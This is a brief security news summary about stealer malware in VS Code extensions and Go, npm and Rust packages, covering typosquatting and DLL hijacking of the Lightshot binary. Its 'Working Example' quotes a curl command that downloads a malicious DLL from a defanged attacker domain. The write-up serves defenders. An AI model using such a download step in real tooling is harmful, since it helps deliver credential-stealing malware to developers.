Malicious Packages Steal Developer Data via VS Code, Go, npm, and Rust

Malicious Packages Target Developer Workstations

Researchers have identified malicious packages across VS Code extensions, Go, npm, and Rust, designed to steal developer credentials and sensitive data. Two VS Code extensions, “BigBlack.bitcoin-black” and “BigBlack.codo-ai”, were found to contain stealer malware capable of screenshotting, clipboard monitoring, and session hijacking, impacting at least 41 developers before removal.

Why This Matters

Current software supply chain security practices often fail to prevent malicious packages from reaching developers, despite efforts to improve code signing and dependency scanning. The ease with which attackers can disguise malware within seemingly legitimate tools highlights a critical gap between ideal security models and the technical reality. The potential scale of compromise is significant; a single malicious package can affect thousands of projects and expose sensitive data, resulting in substantial financial and reputational damage.

Key Insights

• VS Code extensions removed: Microsoft removed three malicious extensions from the VS Code Marketplace on December 5th and 8th, 2025.
• Typosquatting: Attackers leverage typosquatting techniques, like mimicking popular UUID libraries in Go, to trick developers into installing malicious packages.
• DLL Hijacking: The Lightshot binary was exploited via DLL hijacking, allowing attackers to inject malicious code and steal data.

Working Example

# Example of a curl command used by the malicious extensions to download the payload:
curl -s -o Lightshot.dll "http://syn1112223334445556667778889990[.]org/Lightshot.dll"

Practical Applications

• CI/CD Pipeline Security: Companies like Stripe and Coinbase utilize robust CI/CD pipeline security checks to verify the integrity of dependencies and prevent the introduction of malicious code.
• Pitfall: Relying solely on package name verification is insufficient; attackers use similar names (typosquatting) to distribute malicious packages, leading to widespread compromise.

References:

• https://thehackernews.com/2025/12/researchers-find-malicious-vs-code-go.html